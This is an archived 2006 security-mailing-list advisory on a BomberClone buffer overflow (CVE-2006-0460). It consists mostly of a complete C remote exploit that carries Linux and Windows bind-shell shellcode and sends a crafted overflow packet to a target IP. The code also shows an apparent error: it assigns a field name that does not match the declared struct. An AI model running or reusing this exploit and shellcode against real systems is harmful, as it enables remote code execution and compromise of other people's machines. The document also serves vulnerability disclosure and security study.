

[EXPL] BomberClone Buffer Overflow (Exploit)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2006-03/msg00064.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxx>
 - *Date:* 22 Mar 2006 10:34:34 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

BomberClone Buffer Overflow (Exploit)

SUMMARY

<<http://www.bomberclone.de/>> BomberClone is a clone of the game AtomicBomberMan, it have network support allowing to play it over the Internet.

A Buffer overflow vulnerability in BomberClone allows remote code execution.

DETAILS

Vulnerable Systems:

* BomberClone versions prior to 0.11.6.2

Exploit:

/*

* bomberclone < 0.11.6.2 remote exploit

* CVE-2006-0460

* 3/14/06

* escazoo@xxxxxxxxxx

*/

[EXPL] BomberClone Buffer Overflow (Exploit)

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

/* fork() + bind() port 31337 – ty izik */
char linux_shellcode[]=
"\x6a\x66\x58\x99\x6a\x01\x5b\x52\x53\x6a\x02\x89\xe1\xcd\x80"
"\x5b\x5d\x52\x66\xbd\x69\x7a\x0f\xcd\x09\xdd\x55\x6a\x10\x51"
"\x50\x89\xe1\xb0\x66\xcd\x80\xb3\x04\xb0\x66\xcd\x80\x5f\x50"
"\x50\x57\x89\xe1\x43\xb0\x66\xcd\x80\x93\xb0\x02\xcd\x80\x85\xc0"
"\x75\x1a\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x68\x2f\x2f\x73"
"\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\xeb\xb2\x6a\x06\x58"
"\xcd\x80\xb3\x04\xeb\xc9";

/* bind shell to 4444 – metasploit */
char win32_shellcode[] =
"\x33\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x36"
"\xbc\x74\xb1\x83\xeb\xfc\xe2\xf4\xca\xd6\x9f\xfc\xde\x45\x8b\x4e"
"\xc9\xdc\xff\xd1\x12\x98\xff\xf4\x0a\x37\x08\xb4\x4e\xbd\x9b\x3a"
"\x79\xa4\xff\xee\x16\xbd\x9f\xf8\xbd\x88\xff\xb0\xd8\x8d\xb4\x28"
"\x9a\x38\xb4\xc5\x31\x7d\xbe\xbc\x37\x7e\x9f\x45\x0d\xe8\x50\x99"
"\x43\x59\xff\xee\x12\xbd\x9f\xd7\xbd\xb0\x3f\x3a\x69\xa0\x75\x5a"
"\x35\x90\xff\x38\x5a\x98\x68\xd0\xf5\x8d\xaf\xd5\xbd\xff\x44\x3a"
"\x76\xb0\xff\xc1\x2a\x11\xff\xf1\x3e\xe2\x1c\x3f\x78\xb2\x98\xe1"
"\xc9\x6a\x12\xe2\x50\xd4\x47\x83\x5e\xcb\x07\x83\x69\xe8\x8b\x61"
"\x5e\x77\x99\x4d\x0d\xec\x8b\x67\x69\x35\x91\xd7\xb7\x51\x7c\xb3"
"\x63\xd6\x76\x4e\xe6\xd4\xad\xb8\xc3\x11\x23\x4e\xe0\xef\x27\xe2"
"\x65\xef\x37\xe2\x75\xef\x8b\x61\x50\xd4\x65\xed\x50\xef\xfd\x50"
"\xa3\xd4\xd0\xab\x46\x7b\x23\x4e\xe0\xd6\x64\xe0\x63\x43\xa4\xd9"
"\x92\x11\x5a\x58\x61\x43\xa2\xe2\x63\x43\xa4\xd9\xd3\xf5\xf2\xf8"
"\x61\x43\xa2\xe1\x62\xe8\x21\x4e\xe6\x2f\x1c\x56\x4f\x7a\x0d\xe6"
"\xc9\x6a\x21\x4e\xe6\xda\x1e\xd5\x50\xd4\x17\xdc\xbf\x59\x1e\xe1"
"\x6f\x95\xb8\x38\xd1\xd6\x30\x38\xd4\x8d\xb4\x42\x9c\x42\x36\x9c"
"\xc8\xfe\x58\x22\xbb\xc6\x4c\x1a\x9d\x17\x1c\xc3\xc8\x0f\x62\x4e"
"\x43\xf8\x8b\x67\x6d\xeb\x26\xe0\x67\xed\x1e\xb0\x67\xed\x21\xe0"
"\xc9\x6c\x1c\x1c\xef\xb9\xba\xe2\xc9\x6a\x1e\x4e\xc9\x8b\x8b\x61"
"\xbd\xeb\x88\x32\xf2\xd8\x8b\x67\x64\x43\xa4\xd9\xd9\x72\x94\xd1"
"\x65\x43\xa2\x4e\xe6\xbc\x74\xb1";

struct pkgheader {
unsigned char typ;
unsigned char flags;
signed short id;
signed short led;
} pkgheader;
```

[EXPL] BomberClone Buffer Overflow (Exploit)

```
struct pkg_error {
    struct pkgheader h;
    unsigned char nr;
    char text[816];
} pkg_error;

int main(int argc, char *argv[]) {
    char *ptr;
    int sockfd, i;
    long *addrptr, ret;
    struct sockaddr_in vict;

    if(argc < 4) {
        fprintf(stderr, "%s IP Port [target]\n", argv[0]);
        return -2;
    }

    memset(pkg_error.text, 0x90, sizeof(pkg_error.text));
    if(!strcmp(argv[3], "win32")) {
        ret = 0x77dab1da;
        memcpy(pkg_error.text + 701 - strlen(win32_shellcode), win32_shellcode,
            strlen(win32_shellcode));
    }
    else {
        ret = 0xbffff164;
        memcpy(pkg_error.text + 701 - strlen(linux_shellcode), linux_shellcode,
            strlen(linux_shellcode));
    }

    pkg_error.h.typ = 0;
    pkg_error.h.flags = 0;
    pkg_error.h.lend = sizeof(struct pkg_error);
    pkg_error.nr = 'A';

    ptr = pkg_error.text + 732;
    addrptr = (long *)ptr;
    for(i = 732; i < sizeof(pkg_error.text); i+=4)
        *(addrptr++) = ret;

    vict.sin_family = PF_INET;
    vict.sin_port = htons(atoi(argv[2]));
    vict.sin_addr.s_addr = inet_addr(argv[1]);
    memset(&(vict.sin_zero), '\0', 8);

    if((sockfd = socket(PF_INET, SOCK_DGRAM, 0)) < 0) {
        perror("socket");
        return -1;
    }

    if(connect(sockfd, (struct sockaddr *)&vict,
```

[EXPL] BomberClone Buffer Overflow (Exploit)

```
sizeof(vict)) < 0) {  
perror("connect");  
return -1;  
}  
  
if(send(sockfd, &pkg_error, sizeof(pkg_error), 0) < 0) {  
perror("send");  
return -1;  
}  
  
close(sockfd);  
  
return 0;  
}
```

ADDITIONAL INFORMATION

The original article can be found at:
<<http://bash.org.ru/quote.php?num=15296>>
<http://bash.org.ru/quote.php?num=15296>

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@xxxxxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxxx

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.